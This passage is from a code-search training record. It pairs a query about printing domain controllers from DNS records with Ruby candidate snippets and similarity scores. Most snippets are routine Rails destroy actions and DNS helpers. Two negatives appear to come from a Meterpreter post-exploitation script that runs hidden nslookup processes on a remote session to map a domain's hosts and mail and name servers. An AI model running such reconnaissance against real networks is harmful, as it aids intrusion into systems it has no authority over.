PublicOffer.find(params[:id])\n @public_offer.destroy\n\n respond_to do |format|\n format.html { redirect_to club_path(@team.club), notice: 'Das Angebot wurde geloescht' }\n format.json { head :no_content }\n end\n end", "def destroy\n @painel.destroy\n respond_to do |format|\n format.html { redirect_to painels_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @offering ||= Offering.find(params[:id])\n @offering.destroy\n\n respond_to do |format|\n format.html { redirect_to(offerings_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @offer = Offer.find(params[:id])\n\n respond_to do |format|\n if @offer.destroy\n format.html { redirect_to offers_url,\n notice: (crud_notice('destroyed', @offer) + \"#{undo_link(@offer)}\").html_safe }\n format.json { head :no_content }\n else\n format.html { redirect_to offers_url, alert: \"#{@offer.errors[:base].to_s}\".gsub('[\"', '').gsub('\"]', '') }\n format.json { render json: @offer.errors, status: :unprocessable_entity }\n end\n end\n end", "def destroy\n @job_offer.destroy\n respond_to do |format|\n format.html { redirect_to job_offers_url, notice: t('.success') }\n format.json { head :no_content }\n end\n end", "def destroy\n @poll = Poll.find(params[:id])\n @poll.destroy\n\n respond_to do |format|\n format.html { redirect_to polls_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @clientsOffers = ClientsOffers.find(params[:id])\n @clientsOffers.destroy\n\n respond_to do |format|\n format.html { redirect_to clientsOffers_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @supplies_loan = SuppliesLoan.find(params[:id])\n @supplies_loan.destroy\n\n respond_to do |format|\n format.html { redirect_to supplies_loans_url }\n format.json { head :no_content }\n end\n end", "def destroy\n product = @floor_plan.product\n @floor_plan.destroy\n respond_to do |format|\n format.html { redirect_to \"#{product_path(product)}/#floor_plan-tab\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @shop_claim.destroy\n\n head :no_content\n end", "def destroy\n @category_offer.destroy\n\n respond_to do |format|\n format.html { redirect_to category_offers_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @pplan.destroy\n Sale.find_by(:id => @pplan.sale_id).update(:approve => nil)\n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :no_content }\n end\n end", "def destroy\n @offer.destroy\n respond_to do |format|\n redirect_to offers_url, notice: 'Offer was successfully destroyed.'\n end\n end", "def destroy\n @aliquotum = Aliquotum.find(params[:id])\n @aliquotum.destroy\n\n respond_to do |format|\n format.html { redirect_to aliquota_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @admin_store = Admin::Store.find(params[:id])\n @admin_store.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_stores_url }\n format.json { head :no_content }\n end\n end", "def delete\n client.delete(\"/#{id}\")\n end", "def destroy\n @laptop.destroy\n respond_to do |format|\n format.html { redirect_to admin_laptops_url, notice: 'Laptop was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @supplysite = Supplysite.find(params[:id])\n @supplysite.destroy\n\n respond_to do |format|\n format.html { redirect_to supplysites_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @zorgproductgroep = Zorgproductgroep.find(params[:id])\n @zorgproductgroep.destroy\n\n respond_to do |format|\n format.html { redirect_to zorgproductgroeps_url }\n format.json { head :ok }\n end\n end", "def destroy\n @buy_action.destroy\n respond_to do |format|\n format.html { redirect_to admin_path }\n format.json { head :no_content }\n end\n end", "def destroy\n @offered_page.destroy\n respond_to do |format|\n format.html { redirect_to offered_pages_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @platoon.destroy\n respond_to do |format|\n format.html { redirect_to platoons_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @power_supply.destroy\n respond_to do |format|\n format.html { redirect_to power_supplies_url, notice: 'Power supply was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @e_commerce.destroy\n respond_to do |format|\n format.html { redirect_to e_commerces_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @poll.destroy\n respond_to do |format|\n format.html { redirect_to polls_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @poll.destroy\n respond_to do |format|\n format.html { redirect_to polls_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @shop_fb_credit_offer = Shop::FbCreditOffer.find(params[:id])\n @shop_fb_credit_offer.destroy\n\n respond_to do |format|\n format.html { redirect_to shop_fb_credit_offers_url }\n format.json { head :ok }\n end\n end", "def delete\n offer = Offer.find(params[:id])\n if offer\n if offer.user.id == @current_user.id || offer.product.user.id == @current_user.id\n if offer.offer_status != Offer.OFFER_COMPLETED\n\n if offer.user.id == @current_user.id\n notify(\"NOTIF_OFFER_REVOKE\", {\n conversation: offer.conversation ? offer.conversation.id : nil,\n user: {\n id: offer.user.id,\n username: offer.user.username,\n first_name: offer.user.first_name,\n last_name: offer.user.last_name\n },\n offer: {\n price: offer.price\n },\n product: {\n id: offer.product.id,\n product_name: offer.product.product_name\n }\n }, offer.product.user_id)\n else\n notify(\"NOTIF_OFFER_REJECT\", {\n conversation: offer.conversation ? offer.conversation.id : nil,\n user: {\n id: offer.product.user.id,\n username: offer.product.user.username,\n first_name: offer.product.user.first_name,\n last_name: offer.product.user.last_name\n },\n offer: {\n price: offer.price\n },\n product: {\n id: offer.product.id,\n product_name: offer.product.product_name\n }\n }, offer.user.id)\n end\n\n offer.destroy\n\n render status: 200, json: {error: false}\n else\n render status: 473, json: {error: true}\n end\n else\n render status: 472, json: {error: true}\n end\n else\n render status: 404, json: {error: true}\n end\n end", "def destroy\n @shop_ose = ShopOse.find(params[:id])\n @shop_ose.destroy\n\n respond_to do |format|\n format.html { redirect_to shop_oses_url }\n format.json { head :ok }\n end\n end", "def delete_offer(slug)\n unless get_connection_object.headers.has_key?(\"X-Auth-Token\")\n raise \"Please authenticate() to see your offers\"\n end\n delete(\"/offer/#{slug}\")\n end", "def delete\n render json: Company.delete(params[\"id\"])\n end", "def destroy\n @onecompany_product = Onecompany::Product.find(params[:id])\n @onecompany_product.destroy\n\n respond_to do |format|\n format.html { redirect_to onecompany_products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @power_supply.destroy\n respond_to do |format|\n format.html { redirect_to power_supplies_url }\n end\n end" ]
[ "0.7446695", "0.74227506", "0.74227506", "0.7341933", "0.7331064", "0.72472507", "0.7192474", "0.71747625", "0.71608394", "0.7127007", "0.7127007", "0.7111654", "0.7111654", "0.7090002", "0.7087504", "0.70684564", "0.70550454", "0.7032906", "0.70102346", "0.69821304", "0.6971141", "0.6939891", "0.692327", "0.69099796", "0.6904541", "0.6900115", "0.68981546", "0.6884815", "0.6873198", "0.6873198", "0.6873198", "0.6873198", "0.6848763", "0.6827788", "0.68237615", "0.68104833", "0.6801928", "0.6785798", "0.67757", "0.676601", "0.6759163", "0.6715906", "0.6712117", "0.6708806", "0.6705489", "0.67025506", "0.67018193", "0.6696313", "0.6695863", "0.66811603", "0.6676527", "0.66527694", "0.6638857", "0.66295063", "0.66244537", "0.66183776", "0.6610757", "0.65981406", "0.6595018", "0.6594766", "0.6589882", "0.6573808", "0.657328", "0.65732783", "0.6572094", "0.65616274", "0.655428", "0.65533507", "0.6552454", "0.6549253", "0.6547157", "0.6544259", "0.65406984", "0.653994", "0.65397406", "0.65392923", "0.6536932", "0.6527129", "0.652092", "0.65187305", "0.65157014", "0.65132564", "0.65107805", "0.65074724", "0.6507036", "0.6506351", "0.64992654", "0.64976525", "0.6496645", "0.649523", "0.64938843", "0.6493577", "0.6493577", "0.64935", "0.64874667", "0.6481619", "0.6475188", "0.64728296", "0.6468183", "0.64674366" ]
0.7726243
0
Print the DCs based on DNS records before host selection
def initialize pdc, dcs = get_dcs if pdc and dcs dc_list = "" dc_list << "PDC: #{pdc}\n" unless pdc.empty? dc_list << "DCs: #{dcs.join(' ')}" unless dcs.empty? puts dc_list unless dc_list.empty? end super end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def print_known_hosts\n\t\tputs \"\\nSummary of local hosts Table:\"\n\t\tputs \"Total entries: #{@known_hosts.size}\"\n\t\t(@known_hosts.keys.sort-[\"\",nil]).each do |key|\n\t\t\tvalue=@known_hosts[key]\n\t\t\tputs \"#{key}\\t#{value}\" if is_fqdn?(key)\n\t\tend\n\t\tputs \"End of the summary\"\n\tend", "def print_known_sub_domains\n\t\tputs \"\\nSummary of known Internet Sub-domains:\"\n\t\tself.known_internet_sub_domains.keys.sort.each do |domain|\n\t\t\tputs domain\n\t\tend\n\t\tputs \"End of the summary\"\n\tend", "def show\n name = @application.fqdn\n begin\n nameservers = NameServerCache.get_name_servers\n rescue Exception => e\n return render_error(:not_found, \"Could not resolve DNS #{name}: #{e.message}\", 170, \"DNS_RESOLVABLE\")\n end\n\n dns = Dnsruby::Resolver.new(:nameserver => nameservers[rand(nameservers.length)]) if nameservers\n begin\n dns.query(name, Dnsruby::Types.A)\n render_success(:ok, \"boolean\", true, \"Resolved DNS #{name}\")\n rescue Exception => e\n render_error(:not_found, \"Could not resolve DNS #{name}: #{e.message}\", 170)\n end\n end", "def print_records(records)\n\tprint_status(\"Records found:\")\n\trecords.each do |r|\n\t\tprint_good(\"\\tHost: #{r[:host]}\")\n\t\tprint_good(\"\\tIP: #{r[:ip]}\")\n\t\tprint_good(\"\\tPort: #{r[:port]}\")\n\t\tprint_good(\"\\tService:#{r[:service]}\")\n\t\tprint_good(\"\\tText:#{r[:txt]}\")\n\t\tprint_good(\"\")\n\tend\nend", "def display_info\n @all_domains.each do |key, domain|\n puts \"Domain : \" + domain.domain_name\n puts domain.email_statistics.inspect\n puts \"*\" * 80\n end\n end", "def dns\n @dns ||= select { |type,value| type == :dns }.map do |(type,value)|\n value\n end\n end", "def print_directors(nds)\n pp nds\nend", "def dns_check\n gen_host_records # These are the hosts we have\n load_all_subnets # These are the DNS entries\n \n # We want a standard layout, with the hypervisor API entries being \n @host_record.each do |hr| # Array of host record Hash's\n hn = hr[:hostname]\n shn = hn.split('.',2)[0] # Remove the domain\n forward_hr = @forward_host_record[hn] # Find Host Record\n if forward_hr.nil?\n # We have no IPAM entry for this hostname\n if (rhr = @reverse_host_records[hr[:ip]])\n puts \"Only Reverse IPAM entry for #{shn}: #{rhr}\"\n @infoblox.create_host_record(ip_address: hr[:ip], hostname: hn, aliases: hr[:aliases])\n else\n puts \"No IPAM entry for hostrecord: #{hr}\"\n @infoblox.create_host_record(ip_address: hr[:ip], hostname: hn, aliases: hr[:aliases])\n end\n else\n # We have an IPAM record for this hostname\n if forward_hr[:ip] != hr[:ip]\n puts \"IP mismatch #{shn} #{hr[:ip]} != #{forward_hr[:ip]} for IPAM: #{forward_hr}\"\n elsif forward_hr[:hostname] != hn\n # Reference must be via ALIASES or CNAMES\n if forward_hr[:aliases].include?(shn)\n puts \"Hostname #{shn} is an ALIAS. IPAM: #{forward_hr}\"\n elsif forward_hr[:cnames].include?(hn)\n puts \"Hostname #{shn} is a CNAME. IPAM: #{forward_hr}\"\n end\n end\n end\n end\n \n # We want to find IPAM entries, not matching existing @host_record entries\n @reverse_host_records.each do |ip, ahr| # Hash to array of host records from IPAM, indexed by IP\n ahr.each do |hr| # One IP can have multiple host records, with associated ALIAS and CNAME records\n local_hr = @host_record_index[hr[:hostname]]\n if local_hr.nil?\n puts \"No local entry #{hr[:hostname]} for #{hr}\"\n end\n end\n end\nend", "def dns(target, page: 1)\n params = { page: page }\n _get(\"/query/domains/dns/#{target}\", params) { |json| json }\n end", "def dns\n @dns ||= @node.search('DNS/listEntry').map do |entry|\n DomainName.new(entry.inner_text)\n end\n end", "def dns\n doc = request(\"dns-list_records\")\n api_error?(doc)\n (doc/:data).inject([]) { |records, dns| records << Dns.new_from_xml(dns); records }\n end", "def print_domain_names(company_names, categories = nil)\n company_names.each do |name|\n request_handler = SearchHelper::Request.new(name)\n company_objects = request_handler.fetch_domain(categories)\n sort_and_print_results(name, company_objects)\n end\n end", "def list\n cf_get(path: \"#{uri_prefix}/virtual_dns\")\n end", "def pretty_print_nds(nds)\n pp directors_database\nend", "def drac\n \n # Initializa output\n @o = ''\n \n colo_name = params[:colo]\n record_type = params[:record_type]?params[:record_type]:\"a\"\n \n colo = Colo.find(:first, :conditions => \"name = '#{colo_name}'\")\n\n if colo.nil?\n @o = \"ERROR: Need do supply a colo name. Possible choices are \" + Colo.find(:all,:select => :name).sort{|a,b| a.name<=>b.name}.collect{|a| a.name}.join(\",\")\n \n else\n \n assets = Asset.find(:all, :conditions => \"colo_id = #{colo.id}\")\n \n # Loop through asset, find their drac and output A and PTR record.\n @o += \";DRAC in #{colo.name}\\n\"\n for asset in assets.sort{|a,b| a.name<=>b.name}\n\n # If asset have drac interface and is a server\n if ! asset.drac_interface.nil? and asset.resource_type == \"Server\"\n \n if record_type == \"a\"\n \n short = asset.name.split(\".\")[0] + \"-d\" \n @o += \"#{short}\\tA\\t#{asset.drac_interface.ip_to_string}\\n\"\n \n elsif record_type == \"ptr\"\n # Get the name split up, we need to add \"-d\" to the name\n name_arr = asset.name.split(\".\")\n ptr_name = name_arr[0] + \"-d\"\n # concatenate rest of the name\n (1..name_arr.length - 1).each do |i|\n ptr_name += \".\" + name_arr[i]\n end\n \n # Get the ip converted to string, then put them in right order for PTR record\n ip_string = asset.drac_interface.ip_to_string \n ptr_ip = ip_string.split(\".\")[3] + \".\" + ip_string.split(\".\")[2]\n\n \n @o += \"#{ptr_ip}\\tPTR\\t#{ptr_name}.\\n\"\n end\n end\n end\n @o += \";END DRAC in #{colo.name}\\n\"\n \n end\n\n # Render without layout so we can use it to generate dns\n render :partial => 'default', :layout => false, :object => @o\n\n \n end", "def pretty_print_nds(nds)\n pp directors_database\nend", "def pretty_print_nds(nds)\n pp directors_database\nend", "def pretty_print_nds(nds)\n nil\n pp directors_database\nend", "def show!\n puts 'Current Hosts:'\n @plataforms.each do |key, plataform|\n puts plataform.toString\n end\n end", "def frwdlp(session,hostlst,domain,dest)\n\tdest = dest + \"-DNS-forward-lookup.txt\"\n\tprint_status(\"Performing DNS Forward Lookup for hosts in #{hostlst} for domain #{domain}\")\n\tfilewrt(dest,\"DNS Forward Lookup for hosts in #{hostlst} for domain #{domain}\")\n\tresult = []\n\tthreads = []\n\ttmpout = []\n\tbegin\n\tif ::File.exists?(hostlst)\n\t\t::File.open(hostlst).each {|line|\n \t\t\tthreads << ::Thread.new(line) { |h|\n \t\t\t#print_status(\"checking #{h.chomp}\")\n\t\t \tr = session.sys.process.execute(\"nslookup #{h.chomp}.#{domain}\", nil, {'Hidden' => true, 'Channelized' => true})\n \t\t \twhile(d = r.channel.read)\n \t\t\tif d =~ /(Name)/\n \t\t\t\td.scan(/Name:\\s*\\S*\\s*Address\\w*:\\s*.*?.*?.*/) do |n|\n \t\t\t\ttmpout << n.split\n \t\t\tend\n \t\t\tbreak\n \t\tend\n end\n\n r.channel.close\n r.close\n\t\t\t}\n\t\t}\n\tthreads.each { |aThread| aThread.join }\n\ttmpout.uniq.each do |t|\n \tprint_status(\"\\t#{t.join.sub(/Address\\w*:/, \"\\t\")}\")\n \tfilewrt(dest,\"#{t.join.sub(/Address\\w*:/, \"\\t\")}\")\n end\n\n\telse\n\t\tprint_status(\"File #{hostlst}does not exists!\")\n\t\texit\n\tend\n\trescue ::Exception => e\n \t\tprint_status(\"The following Error was encountered: #{e.class} #{e}\")\n\tend\nend", "def pretty_print_nds(nds)\n # Change the code below to pretty print the nds with pp\n pp directors_database\nend", "def pretty_print_nds(nds)\n # Change the code below to pretty print the nds with pp\n pp directors_database\nend", "def pretty_print_nds(nds)\n # Change the code below to pretty print the nds with pp\n pp directors_database\nend", "def pretty_print_nds(nds)\n # Change the code below to pretty print the nds with pp\n pp directors_database\nend", "def pretty_print_nds(nds)\n # Change the code below to pretty print the nds with pp\n pp directors_database\nend", "def pretty_print_nds(nds)\n # Change the code below to pretty print the nds with pp\n pp directors_database\nend", "def dig_dk\n Resolv::DNS.open do |dns|\n txts = dns.getresources(self,Resolv::DNS::Resource::IN::TXT).collect { |r| r.strings }\n if txts.empty? then nil else txts[0][0] end\n end\n end", "def hosts\n out = []\n out << \"group {\"\n out << ' filename \"deezy\";'\n Host.find_all_by_enabled(true).each do |host|\n out << [\n \" host #{host.hostname} { hardware ethernet #{host.mac}; \",\n \"#{\"fixed-address #{host.ip};\" unless host.ip.blank?}\",\n \"}\"\n ].join\n end\n out << \"}\"\n out << ''\n end", "def FQDN (domain, vlan)\n val = \"\" # the value to be returned\n cmd = `host -l #{domain} ns1.nwt01.corp.tripadvisor.com`\n cmd.each do |line|\n if line.match(/\\d*\\.\\d*\\.#{vlan}\\.\\d*/) # regx to find the specific command\n val << line.split(\" \")[0] << \",\"\n end\n end\n val = val[0...-1]\n puts val # prints the final string to the terminal, this need to be changed to a return statment if another needs the result\nend", "def show(id:)\n id_check(:id, id)\n\n cf_get(path: \"#{uri_prefix}/virtual_dns/#{id}\")\n end", "def establish_hostname_and_domain\n ShellSpinner \"# checking whether hostname and domain have been set\", false do\n\n hostname, domain = nil\n\n @config[:route53][:hostname] = find_with_context(:hostname, :user_data_template_variables) if find_with_context(:hostname, :user_data_template_variables)\n @config[:route53][:domain] = find_with_context(:domain, :user_data_template_variables) if find_with_context(:domain, :user_data_template_variables)\n @config[:route53][:hostname] = find_with_context(:hostname, :route53) if find_with_context(:hostname, :route53)\n @config[:route53][:domain] = find_with_context(:domain, :route53) if find_with_context(:domain, :route53)\n\n help = <<-HEREDOC.strip_heredoc\n # \n # checked:\n # 'common', 'user_data_template_variables',\n # and 'route53' sections of config\n # --common-variables, --route53-variables,\n # and --user-data-template-variables\n #\n # route53 dynamic DNS will not be updated!\n HEREDOC\n\n domain = @config[:route53][:domain]\n hostname = @config[:route53][:hostname]\n\n if domain.nil? and hostname.nil?\n debug <<-HEREDOC.strip_heredoc\n # WARNING: hostname and domain not found\"\n #{help}\n\n HEREDOC\n\n elsif domain and hostname.nil?\n debug <<-HEREDOC.strip_heredoc\n # WARNING: hostname not found\n #{help}\n\n HEREDOC\n\n elsif domain.nil? and hostname\n debug <<-HEREDOC.strip_heredoc\n # WARNING: domain not found\n #{help}\n\n HEREDOC\n\n else\n debug <<-HEREDOC.strip_heredoc\n # found hostname and domain:\n hostname: #{hostname}\n domain: #{domain}\n\n HEREDOC\n\n @config[:route53][:new_dns_records] = {\n :public => {\n :alias => \"#{hostname}.#{domain}.\",\n :target => nil\n },\n :private => {\n :alias => \"#{hostname}-private.#{domain}.\",\n :target => nil\n }\n }\n end\n end\n\n puts\n end", "def domain\n components = rdns.map {|rdn| rdn[:dc]}.compact\n components.join('.') unless components.empty?\n end", "def print_ext_sites\n\t\tputs \"\\nSummary Report of the External Hosted Site\"\n\t\tsites=get_ext_sites\n\t\tsites.each do |site|\n\t\t\tputs site\n\t\tend\n\t\treturn nil\n\tend", "def pretty_print_nds(nds)\n # Change the code below to pretty print the nds with pp\n pp directors_database\n nil\nend", "def pretty_print_nds(nds)\n # Change the code below to pretty print the nds with pp\n pp directors_database\n nil\nend", "def index\n @dns_entries = DnsEntry.all\n end", "def dns_a_record\n @_dns_a_record = \"0.0.0.0\" if @config[:dns_lookup] == :off\n @_dns_a_record ||= Socket.gethostbyname(dns_name)\n rescue SocketError # not found, but could also mean network not work\n @_dns_a_record ||= []\n end", "def stdlookup(session,domain,dest)\n\tdest = dest + \"-general-record-lookup.txt\"\n\tprint_status(\"Getting MX and NS Records for Domain #{domain}\")\n\tfilewrt(dest,\"SOA, NS and MX Records for Domain #{domain}\")\n\ttypes = [\"SOA\",\"NS\",\"MX\"]\n\tmxout = []\n\tresults = []\n\tgarbage = []\n\ttypes.each do |t|\n\tbegin\n\t\tr = session.sys.process.execute(\"nslookup -type=#{t} #{domain}\", nil, {'Hidden' => true, 'Channelized' => true})\n\t\twhile(d = r.channel.read)\n\t\t\tmxout << d\n\t\tend\n\t\tr.channel.close\n\t\tr.close\n\t\tresults = mxout.join.split(/\\n/)\n\t\tresults.each do |rec|\n\t\t\t\tif rec.match(/\\s*internet\\saddress\\s\\=\\s/)\n\t\t\t\t\tgarbage << rec.split(/\\s*internet\\saddress\\s\\=/)\n\t\t\t\t\tprint_status(\"#{garbage[0].join.sub(\" \",\" \")} #{t} \")\n\t\t\t\t\tfilewrt(dest,garbage[0].join.sub(\" \",\" \")+\" #{t} \")\n\t\t\t\t\tgarbage.clear\n\t\t\t\tend\n\t\t\t\tgarbage.clear\n\t\tend\n\n\trescue ::Exception => e\n \t\tprint_status(\"The following Error was encountered: #{e.class} #{e}\")\n\tend\n\tend\nend", "def collectHosts(rf, db)\n\trf.childEntity.grep(RbVmomi::VIM::Datacenter).each do |dc|\n\t\tprogressbar = ProgressBar.create(:title => \"Hosts\", :format => '%t |%b>>%i| %p%% %a')\n\t\tprogressbar.total = counter(dc, \"h\")\n\t\tdc.hostFolder.childEntity.each do |cluster|\n\t\t\tcluster.host.each do |host|\n\t\t\t\tdb.select(2)\n\t\t\t\tdb.hset(\"#{host.name}\", \"Status\", \"#{host.summary.overallStatus}\")\n\t\t\t\tdb.hset(\"#{host.name}\", \"PowerStatus\", \"#{host.summary.runtime.powerState}\")\n\t\t\t\tdb.hset(\"#{host.name}\", \"Connection\", \"#{host.summary.runtime.connectionState}\")\n\t\t\t\tdb.hset(\"#{host.name}\", \"OverallCpu\", \"#{host.summary.quickStats.overallCpuUsage}\")\n\t\t\t\tdb.hset(\"#{host.name}\", \"OverallMem\", \"#{host.summary.quickStats.overallMemoryUsage}\") \n\t\t\t\t#db.hset(\"#{host.name}\", \"SystemSensor\", \"#{host.summary.runtime.healthSystemRuntime.systemHealthInfo.numericSensorInfo.name}\")\n\t\t\t\tprogressbar.increment\n\t\t\tend\n\t\tend\n\tend\nend", "def dynamic_dns(rule_name, info)\n\n # Get to the advanced page.\n\tself.goto_advanced(rule_name, info)\n \n \t# Get to the \"Dynamic DNS\" page.\n \tbegin\n \t\[email protected](:text, 'Dynamic DNS').click\n \t \tself.msg(rule_name, :info, 'Dynamic DNS', 'Reached page \\'Dynamic DNS\\'.')\n\trescue\n\t \tself.msg(rule_name, :error, 'Dynamic DNS', 'Did not reach \\'Dynamic DNS\\'.')\n\t \t return\n \tend\n\n \t# Check the key.\n \tif ( info.has_key?('section') && info.has_key?('subsection') ) then\n \t# Right,go on;\n \telse\n \tself.msg(rule_name,:error,'Dynamic DNS', 'Some key NOT found.')\n \t\treturn\n \tend # End of if\n\n # ###############################################\n # The operation key are divided from three cases;\n # case one : delete a record;\n # two : add a record;\n # three : add multi-record;\n # four : upate the status of recor;\n # ###############################################\n if info.has_key?('Operation')\n\t\n case info['Operation']\n\t \n\t# ########################## \n \t# case one: delete a record;\n \t# ##########################\n\twhen 'delete'\n\n\t\tif @ff.text.include?info['Host Name'] and info['Host Name'] != \" \" then\n\n\t \t\tstr_href = @ff.link(:text,info['Host Name']).href\n\t\t\tstr_href.gsub!('edit','remove')\n\t\t\[email protected](:href,str_href).click\n\t\telse\n\t\t\tself.msg(rule_name,:error,'Host Name','Con NOT find the value in \\'Host Name\\'.')\n\t\tend\n\t# ##########################\t\n \t# Case two: add a record;\n \t# ##########################\n \twhen 'add'\n\n\t\t# Delete the same Entry,'Remove')\n \t\tif @ff.text.include?info['Host Name'] and info['Host Name'] != \" \" then\n\t \t\tstr_href = @ff.link(:text,info['Host Name']).href\n\t\t\tstr_href.gsub!('edit','remove')\n\t\t\[email protected](:href,str_href).click\n\t\tend # End of if\t\n \t \n\t\t# Add an new Dynamic DNS Entry;\n\t \[email protected](:text,'New Dynamic DNS Entry').click\n\t \tself.msg(rule_name,:info,'Add Dynamic DNS Entry','CLICKED')\n\n\t \t# Fill in the \"Host Name\"\n\t \tif info.has_key?('Host Name') \n\t \n\t \[email protected]_field(:name,'ddns_host').value = info['Host Name']\n\t \tself.msg(rule_name,:info,'Host Name',info['Host Name'])\n\t \telse\n\t \tself.msg(rule_name,:error,'Host Name','Con NOT find the value in \\'Host Name\\'.')\n\t \tend # End of if\n\n\t \t# Select list in the \"Connection\"\n\t \tif info.has_key?('Connection')\n\t\n\t case info['Connection']\n\t \n\t \twhen 'Broadband Connection (Ethernet)'\n\n\t\t \t\t# Set connection is 'Broadband Connection (Ethernet)'\n\t \t\[email protected]_list(:name,'ddns_device').select(\"Broadband Connection (Ethernet)\")\n\t \t\tself.msg(rule_name,:info,'Connection',info['Connection'])\n\t \t\n\t \twhen 'WAN Ethernet' \n\n\t\t \t\t# Set connection is 'Broadband Connection (Ethernet)'\n\t \t\[email protected]_list(:name,'ddns_device').select(\"WAN Ethernet\")\n\t \t\tself.msg(rule_name,:info,'Connection',info['Connection'])\n\t \t\n\t\t\twhen 'Broadband Connection (Coax)'\n\t \t\t\n\t\t\t\t# Set connection is 'Broadband Connection (Coax)'\n\t \t\[email protected]_list(:name,'ddns_device').select(\"Broadband Connection (Coax)\")\n\t \t\tself.msg(rule_name,:info,'Connection',info['Connection'])\n\n\t \twhen 'WAN PPPoE'\n\n\t \t\t# Set connection is 'WAN PPPoE'\n\t \t\[email protected]_list(:name,'ddns_device').select(\"WAN PPPoE\")\n\t \t\tself.msg(rule_name,:info,'Connection',info['Connection'])\n\n\t \twhen 'WAN PPPoE 2'\n\n\t \t\t# Set connection is 'WAN PPPoE 2'\n\t \t\[email protected]_list(:name,'ddns_device').select(\"WAN PPPoE 2\")\n\t \t\tself.msg(rule_name,:info,'Connection',info['Connection'])\n\t else \n\n\t\t \t \t# Wrong\n\t\t \t \tself.msg(rule_name,:error,'connection','Did NOT find the value in \\'Connection\\'.')\n\t\t \t\t return\n\t \n\t \t \tend # End of case connection;\n\n\t \tend # End of if connection;\n\n\t \t# Select list in the \"provider\"\n\t \tif info.has_key?('Provider')\n\t\n\t \t case info['Provider']\n\t \n\t \t\twhen 'dyndns.org'\n\n\t\t\t\t# Set provider to 'dyndns.org'\n\t \t\t\[email protected]_list(:name,'ddns_provider').select(\"dyndns.org\")\n\t \t\tself.msg(rule_name,:info,'Provider',info['Provider'])\n\n\t \t\twhen 'no-ip.com'\n\n\t\t\t\t# Set provider to 'no-ip.com'\n\t \t\[email protected]_list(:name,'ddns_provider').select(\"no-ip.com\")\n\t \t\tself.msg(rule_name,:info,'Provider',info['Provider'])\n\n\t \t\twhen 'changeip.com'\n\n\t\t\t\t# Set provider to 'changeip.com '\n\t \t\[email protected]_list(:name,'ddns_provider').select(\"changeip.com \")\n\t \t\tself.msg(rule_name,:info,'Provider',info['Provider'])\n\n\t \t\twhen 'tzo.com'\n\n\t\t\t\t# Set provider to 'tzo.com'\n\t \t\t\[email protected]_list(:name,'ddns_provider').select(\"tzo.com\")\n\t \t\tself.msg(rule_name,:info,'Provider',info['Provider'])\n\n\t \t\twhen 'ods.org'\n\n\t\t\t\t# Set provider to 'ods.org'\n\t \t\[email protected]_list(:name,'ddns_provider').select(\"ods.org\")\n\t \t\tself.msg(rule_name,:info,'Provider',info['Provider'])\n\n\t \t\twhen 'easydns.com'\n\n\t\t\t\t# Set provider to 'easydns.com'\n\t \t\t\[email protected]_list(:name,'ddns_provider').select(\"easydns.com\")\n\t \t\tself.msg(rule_name,:info,'Provider',info['Provider'])\n\n\t \t\twhen 'zoneedit.com'\n\n\t\t\t\t# Set provider to 'zoneedit.com'\n\t \t\[email protected]_list(:name,'ddns_provider').select(\"zoneedit.com\")\n\t \t\tself.msg(rule_name,:info,'Provider',info['Provider'])\n\n\t \t\telse \n\t\t\t\t# Wrong\n\t\t\t\tself.msg(rule_name,:error,'connection','Did NOT find the value in \\'Provider\\'.')\n\t\t\t\treturn\n\t \n\t \t\tend # End of case provider;\n\n\t\tend # End of if provider;\n\n\t\tif info.has_key?('User Name') then\n\t \n\t \t\[email protected]_field(:name,'ddns_username').value = info['User Name']\n\t \t\tself.msg(rule_name,:info,'User Name',info['User Name'])\n\t\tend # end of if\n\n\t\tif info.has_key?('Password') then\n\t \t\[email protected]_field(:type,'password').set(info['Password'])\n\t \t\tself.msg(rule_name,:info,'Password',info['Password'])\n\t\tend # end of if\n\t\n\n\t\t# Select list in the \"Dynamic DNS System\"\n\t\tif info.has_key?('Dynamic DNS System')\n\t\n\t \t case info['Dynamic DNS System']\n\t \n\t \t\twhen 'Dynamic DNS'\n\n\t\t\t\t# Set 'Dynamic DNS'\n\t \t\[email protected]_list(:name,'ddns_system').select(\"Dynamic DNS\")\n\t \t\tself.msg(rule_name,:info,'Dynamic DNS System',info['Dynamic DNS System'])\n\t\n\t \t\twhen 'Static DNS'\n\n\t\t\t\t# Set 'Static DNS'\n\t \t\[email protected]_list(:name,'ddns_system').select(\"Static DNS\")\n\t \t\tself.msg(rule_name,:info,'Dynamic DNS System',info['Dynamic DNS System'])\n\n\t \t\twhen 'Custom DNS'\n\n\t\t\t\t# Set 'Custom DNS'\n\t \t\[email protected]_list(:name,'ddns_system').select(\"Custom DNS\")\n\t \t\tself.msg(rule_name,:info,'Dynamic DNS System',info['Dynamic DNS System'])\n\n \t \t\telse \n\n\t\t\t\t# Wrong\n\t\t\t\tself.msg(rule_name,:error,'Dynamic DNS System','Did NOT find the value in \\'Dynamic DNS System\\'.')\n\t\t\t\treturn\n\t \n\t \t\tend # End of case Dynamic DNS system;\n\n\t\tend # End of if Dynamic DNS system;\n\n\t\t# Set wildcard to 'on' or 'off'\n\t\tif info.has_key?('Wildcard')\n \n\t \t\t# Enable wildcard \n\t \t case info['Wildcard']\n\t \n\t \t\twhen 'on'\n\t \n\t\t\t\[email protected](:name,'dyndns_wildcard').set\n\t\t\t\tself.msg(rule_name,:info,'Wildcard',info['Wildcard']) \n\t \n\t \t\t# Disable wildcard\n\t \t\twhen 'off'\n\t\n\t\t\t\[email protected](:name,'dyndns_wildcard').clear\t\n\t\t\t\tself.msg(rule_name,:info,'Wildcard',info['Wildcard'])\n\t \t\telse\n\t\t\t\t# wrong 